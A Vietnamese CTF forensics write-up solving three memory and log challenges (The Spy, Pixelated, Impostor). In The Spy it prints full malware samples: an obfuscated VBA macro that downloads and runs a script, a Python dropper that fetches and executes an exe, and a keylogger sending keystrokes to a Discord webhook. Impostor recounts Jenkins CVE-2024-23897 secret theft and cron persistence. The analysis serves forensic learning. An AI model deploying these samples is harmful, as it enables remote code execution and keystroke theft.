# The Spy ![Screenshot 2024-05-26 205009](https://hackmd.io/_uploads/BkmY02g4R.png) **Từ lúc mới bắt đầu chơi CTF đến nay thì đây là challenge đầu tiên mà mình first blood nên mình muốn lưu giữ lại dòng viết này để làm kỹ niệm(như một cột móc đáng nhớ trên đường đua CTF)** ![Screenshot 2024-05-27 124039](https://hackmd.io/_uploads/Sk3zTcZ4R.png) ![Screenshot 2024-05-27 124212](https://hackmd.io/_uploads/rJLHacZNA.png) **Giải pháp:** * Thử thách cho mình 1 file memory nên mình sẽ dùng tool volitality để phân tích kết xuất bộ nhớ: - Plugin luôn dùng đầu tiên để check là `pstree`: - ![Screenshot 2024-05-26 210256](https://hackmd.io/_uploads/H1lQ-pg4A.png) - Theo như mô tả của đề bài thì dữ liệu của victim bị rò rỉ và có nguy cơ đã bị đánh cắp => mình sẽ tập trung vào các tiến trình của người dùng. - Thấy khá nhiều tiến trình **chrome** nên ý tưởng mình sẽ dùng grep `history` rồi dump về xem lịch sử trình duyệt web victim: - ![Screenshot 2024-05-26 211938](https://hackmd.io/_uploads/By3QH6gVA.png) - Sau khi dump về mình dùng lệnh strings để xem các trình duyệt mà victim đã mở thì thấy 1 đường dẫn với lại có 1 tiến trình khả nghi nữa là **soffice.exe** => khả năng cao file word(.doc) có vấn đề. - ![Screenshot 2024-05-26 212150](https://hackmd.io/_uploads/SyMcSpx4R.png) - Victim đã tải file này về từ sever của attacker, mình sẽ dùng `filescan` để tìm và dùng plugin `dumpfile` để lấy file về phân tích: - ![Screenshot 2024-05-26 212634](https://hackmd.io/_uploads/rJe3I6eVA.png) * Đối với những file word(.doc) thì khả năng cao dính mã độc macro nên mình sẽ dùng `olevba` để phân tích: ```vb=1 Private Declare PtrSafe Function a1AaQ Lib "urlmon" Alias "URLDownloadToFileA" ( _ ByVal b1BbQ As LongPtr, _ ByVal c1CcQ As String, _ ByVal d1DdQ As String, _ ByVal e1EeQ As Long, _ ByVal f1FfQ As LongPtr) As Long Public Function b1BbR(c1CcR As String) As String Dim d1DdR As Integer Dim e1EeR As Integer Dim f1FfR As String If Len(c1CcR) = 0 Or Len(c1CcR) Mod 2 <> 0 Then Exit Function d1DdR = Len(c1CcR) For e1EeR = 1 To Len(c1CcR) If e1EeR Mod 2 <> 0 Then f1FfR = f1FfR & Chr$(Val("&H" & Mid$(c1CcR, e1EeR, 2))) End If Next b1BbR = f1FfR End Function Sub c1CcS() Dim d1DdS As String Dim e1EeS As String Dim f1FfS As String Dim g1GgS As String Dim h1HhS As Long Dim username As String username = Environ("USERNAME") d1DdS = "68747470733n2s2s64726976652r676s6s676p652r636s6q2s66696p652s642s31764573414o44663731647763336267426s723238326o4p546173626p333348532s766965773s7573703q73686172696r67" e1EeS = j2JjS(d1DdS) f1FfS = b1BbR(e1EeS) g1GgS = "C:\Users\" & username & "\AppData\Local\pp.py" h1HhS = a1AaQ(0, f1FfS, g1GgS, 0, 0) If h1HhS = 0 Then MsgBox "File downloaded successfully.", vbInformation ' Run the Python script RunPython Else MsgBox "Failed to download file.", vbExclamation End If End Sub Function j2JjS(k2KkS As String) As String Dim l2LlS As String Dim m2MmS As Integer For m2MmS = 1 To Len(k2KkS) Select Case Asc(Mid(k2KkS, m2MmS, 1)) Case 65 To 77, 97 To 109 l2LlS = l2LlS & Chr(Asc(Mid(k2KkS, m2MmS, 1)) + 13) Case 78 To 90, 110 To 122 l2LlS = l2LlS & Chr(Asc(Mid(k2KkS, m2MmS, 1)) - 13) Case Else l2LlS = l2LlS & Mid(k2KkS, m2MmS, 1) End Select Next m2MmS j2JjS = l2LlS End Function Sub RunPython() Dim PythonExe As String Dim PythonScript As String Dim Command As String Dim username As String username = Environ("USERNAME") PythonExe = "C:\Users\" & username & "\AppData\Local\Microsoft\WindowsApps\python3.exe" PythonScript = "C:\Users\" & username & "\AppData\Local\pp.py" Command = PythonExe & " " & PythonScript Shell Command, vbNormalFocus End Sub ``` * Phân tích : - Hàm `Sub c1CcS()` đầu tiên mã hóa ROT13 chuỗi của biến `d1DdS`, sau đó là giải mã hex thành url và tiến hành dowloads file `pp.py` xuống đường dẫn này `C:\Users\" & username & "\AppData\Local\pp.py` - Hàm `Sub RunPython()` có chức năng là chạy `pp.py`. * Bây giờ có 2 cách 1 là code, 2 là bỏ lên cyberchef làm cho nhanh: - Mình sẽ ưu tiên cách làm nhanh nha: - ![Screenshot 2024-05-27 130310](https://hackmd.io/_uploads/BJl4foZEC.png) - https://drive.google.com/file/d/1vEsAKDf71dwc3bgBor282kLTasbl33HS/view?usp=sharing * Vào đường dẫn tải file về phân tích tiếp: ```python=1 import os import requests def download_file_from_google_drive(file_id, destination): URL = "https://docs.google.com/uc?export=download" session = requests.Session() response = session.get(URL, params={'id': file_id}, stream=True) token = get_confirm_token(response) if token: params = {'id': file_id, 'confirm': token} response = session.get(URL, params=params, stream=True) save_response_content(response, destination) def get_confirm_token(response): for key, value in response.cookies.items(): if key.startswith('download_warning'): return value return None def save_response_content(response, destination): CHUNK_SIZE = 32768 with open(destination, "wb") as f: for chunk in response.iter_content(CHUNK_SIZE): if chunk: f.write(chunk) def hex_to_binary(hex_str): return bytes.fromhex(hex_str) def save_binary_to_file(binary_data, file_path): with open(file_path, 'wb') as file: file.write(binary_data) def reverse_hex_conversion(file_path, output_file): with open(file_path, 'r') as file: hex_content = file.read().strip() binary_data = hex_to_binary(hex_content) save_binary_to_file(binary_data, output_file) def run_retrieved_file(file_path): os.system(file_path) if __name__ == "__main__": # Download the file and save it as file_hex.txt file_id = "1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt0" #1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt input_file = "file_hex.txt" download_file_from_google_drive(file_id, input_file) # Convert hex to binary and save it as L3AK.exe output_file = "L3AK.exe" reverse_hex_conversion(input_file, output_file) # Execute the retrieved file run_retrieved_file(output_file) print("File retrieved and executed as L3AK.exe") ``` Nhìn thì thấy hơi dài nhưng đại khá là đang drop xuống 1 file L3AK.exe rồi chạy file thực thi đó, mình sẽ sửa lại xíu code để lấy file thực thi này về: ```python=1 import os import requests def download_file_from_google_drive(file_id, destination): URL = "https://docs.google.com/uc?export=download" session = requests.Session() response = session.get(URL, params={'id': file_id}, stream=True) token = get_confirm_token(response) if token: params = {'id': file_id, 'confirm': token} response = session.get(URL, params=params, stream=True) save_response_content(response, destination) def get_confirm_token(response): for key, value in response.cookies.items(): if key.startswith('download_warning'): return value return None def save_response_content(response, destination): CHUNK_SIZE = 32768 with open(destination, "wb") as f: for chunk in response.iter_content(CHUNK_SIZE): if chunk: f.write(chunk) def hex_to_binary(hex_str): return bytes.fromhex(hex_str) def save_binary_to_file(binary_data, file_path): with open(file_path, 'wb') as file: file.write(binary_data) def reverse_hex_conversion(file_path, output_file): with open(file_path, 'r') as file: hex_content = file.read().strip() binary_data = hex_to_binary(hex_content) save_binary_to_file(binary_data, output_file) if __name__ == "__main__": # Tải file và lưu nó thành file_hex.txt file_id = "1lTEbD37UC7B7tIRoAEQ1YK6niLQHGZt0" input_file = "file_hex.txt" download_file_from_google_drive(file_id, input_file) output_file = "L3AK.exe" reverse_hex_conversion(input_file, output_file) ``` * Sau khi chạy và lấy file `L3AK.exe` thành công thì mình dùng virustotal để xem 1 số thông tin về file này: ![Screenshot 2024-05-27 133121](https://hackmd.io/_uploads/rke0OiWV0.png) * File mã độc này được đóng gói bằng PyInstaller => mình sẽ dùng tool `pyinstxtractor.py` để xuất file `.pyc` ra thôi ![Screenshot 2024-05-27 133505](https://hackmd.io/_uploads/rkaiKjbNA.png) Có thể thấy trên ảnh file này được viết bằng version 3.12 nên là mấy tool phổ biến hay dùng không thể decompile được * Sau 1 hồi tìm kiếm thì có mình thấy được 1 tool [này](https://pylingual.io/) decompile dành cho file version 3.12 : ```python=1 from pynput.keyboard import Listener, Key from threading import Timer from dhooks import Webhook WEBHOOK_URL = 'https://discord.com/api/webhooks/1240207195849883739/IrZDxAPOwxaHyUOZCcqLVQSRhl4FjwaYzaCUJTvEdmf5Y_jKmzxUMuz2jp3UyRnrvfsl' INTERVAL = 30 hjlkhas = 'aHR0cHM6Ly9kaXNjb3JkLmdnL3Bzd1R0VW5wSkM=' class Keylogger: def __init__(self, WB_URL, interval = (30,)): self.WB_URL = WB_URL self.interval = interval self.log = '' self.special_keys = { Key.esc: '[ESC]', Key.backspace: '[BACKSPACE]', Key.tab: '\t', Key.enter: '\n', Key.space: ' ' } self.current_keys = set() def _send_info(self, log): if log != '': webhook = Webhook(self.WB_URL) webhook.send(log) return None def _key_down(self, key): pass # WARNING: Decompyle incomplete def _key_up(self, key): if key in self.current_keys: self.current_keys.remove(key) return None def _report(self): self._send_info(self.log) self.log = '' Timer(self.interval, self._report).start() def run(self): self._report() # WARNING: Decompyle incomplete if __name__ == '__main__': Keylogger(WEBHOOK_URL, INTERVAL).run() return None ``` Ban đầu thì mình nghĩ là phải phân tích code mã độc keylogger này để lấy flag * Nhưng mà để ý 1 xíu thấy biến `hjlkhas` chứa đoạn base64 khả nghi nên mình lấy decode thì kết quả được 1 đường link discord dẫn đến flag =)) ![Screenshot 2024-05-27 134715](https://hackmd.io/_uploads/HyAF2ibVC.png) https://discord.gg/pswTtUnpJC: tiến hành vào link này và lấy flag thôi. **Flag:** `L3AK{D1sc0rd_WebH00ks_4re_C001}` # Pixelated ![Screenshot 2024-05-28 131816](https://hackmd.io/_uploads/rySE5lQNR.png) **Giải pháp:** * Tiếp tục bài này cũng đi phân tích kết xuất bộ nhớ. * Như thường lệ dùng plugin `pstree`, nhưng có khá nhiều tiến trình (phần lớn là tiến trình của hệ thống) mà bài này không đề cập gì nhiều nên mình sẽ tiến tục đi phân tích tiến trình người dùng: ![Screenshot 2024-05-28 133845](https://hackmd.io/_uploads/HyC-2gQNC.png) Nhìn vào thì có 2 tiến trình khả nghi là msedge.exe và mspaint.exe * Đối với msedge.exe thì sẽ liên quan đến lịch sử trình duyệt nên mình đã dump thì về nhưng thấy rằng lịch sử đã bị xóa sạch rồi ![Screenshot 2024-05-28 134914](https://hackmd.io/_uploads/S1lKAxmVA.png) * Giờ chỉ còn lại là tiến trình mspaint.exe thôi, mình sẽ dùng plugin `memmap` dump tiến trình này về : `python3 vol.py -f memory.raw windows.memmap --dump --pid 5580` tiến hành đổi phần mở rộng lại từ .dmp thành .data rồi dùng tool gimp để xử lí: * ![Screenshot 2024-05-28 140231](https://hackmd.io/_uploads/S1Yqbbm40.png) Kết quả sau 1 hồi mò mẩm chỉnh thì cũng có được flag **Flag:** `L3AK{p1x3l_p3rFect!}` # Impostor ![Screenshot 2024-05-28 160532](https://hackmd.io/_uploads/H1LFCMmNA.png) **Giải pháp:** * Thử thách này cung cấp cho chúng ta 1 file auth.log và 1 file .pcap * Theo như mình tìm hiểu thì đây là thử thách mô phỏng lại attacker lợi dụng lỗ hổng [CVE-2024-23897](https://www.jenkins.io/security/advisory/2024-01-24/) sử dụng jenkins-cli để thực hiện RCE attack * Gần luồng giao thức `TCP` thì bên dưới có giao thức `WebSocket` hiểu đơn giản giao thức này cho phép truyền tín hiệu qua lại 2 chiều thông qua cổng `http(s)` ![Screenshot 2024-05-29 103328](https://hackmd.io/_uploads/HyhfM7EEC.png) * Phân tích xem giao thức websocket thấy attacker đang lấy 1 số thông tin như `etc/passwd`, `/var/lib/jenkins/secrets/master.key`, /var/lib/jenkins/credentials.xml và cuối stream có chứa 1 phần flag: `1s_0n_3dg` ![Screenshot 2024-05-29 103542](https://hackmd.io/_uploads/SJ1oz7VNA.png) * Khi khi kết thúc 4 luồng giao thức `WebSocket` thì attacker đang thực hiện chuẩn bị và tiến hành kết nối với victim bằng giao thức `ssh` => ta sẽ đi phân tích file auth.log xem hành vi: * Hành vi dưới attacker đang thực hiện bruteforce với user là `sparkle` từ ip `192.168.222.151` thông qua giao thức `ssh2` ![Screenshot 2024-05-29 105615](https://hackmd.io/_uploads/Bk0PvmNEA.png) * Sau khi bruteforce thành công và thực hiện `ssh` vào máy victim giành quyền truy cập thì attacker đã tải xuống máy victim các file độc hại như `data.bin` từ sever attacker bằng tool `jenkins-cli` và dường như đã mã hóa base64 nội dung file `/var/lib/jenkins/secrets/hudson.util.Secret` ![Screenshot 2024-05-29 110106](https://hackmd.io/_uploads/H1c1t744R.png) * Tiếp theo mình sẽ decode nội dung file data.bin, biết rằng file được mã hóa với base58 `COMMAND=/usr/bin/base58 -d data.bin` ![Screenshot 2024-05-29 110915](https://hackmd.io/_uploads/S1Mt974V0.png) Hành vi file bash(.sh) đang thực hiện kỹ thuật `Persistence` thực hiện chế độ lập lịch thông qua `crontab` * Ta sẽ decode đoạn base64 biến `job_name` có thêm 1 phần flag: `E_30d84d801b2947f1bd2faae4fdcbb926}` * Nhiệm vụ cuối cùng là làm sao giải mã đoạn file `hudson.util.Secret` để lấy phần cuối cùng của flag, nội dung file `hudson.util.Secret`: ![Screenshot 2024-05-29 112411](https://hackmd.io/_uploads/SkfXRQEVA.png) **ĐỌC THÊM:** https://github.com/L3AK-TEAM/L3akCTF-2024-public/blob/main/forensics/Do-It-Dynamically/solution/Do%20It%20Dynamically%20Walkthrough.pdf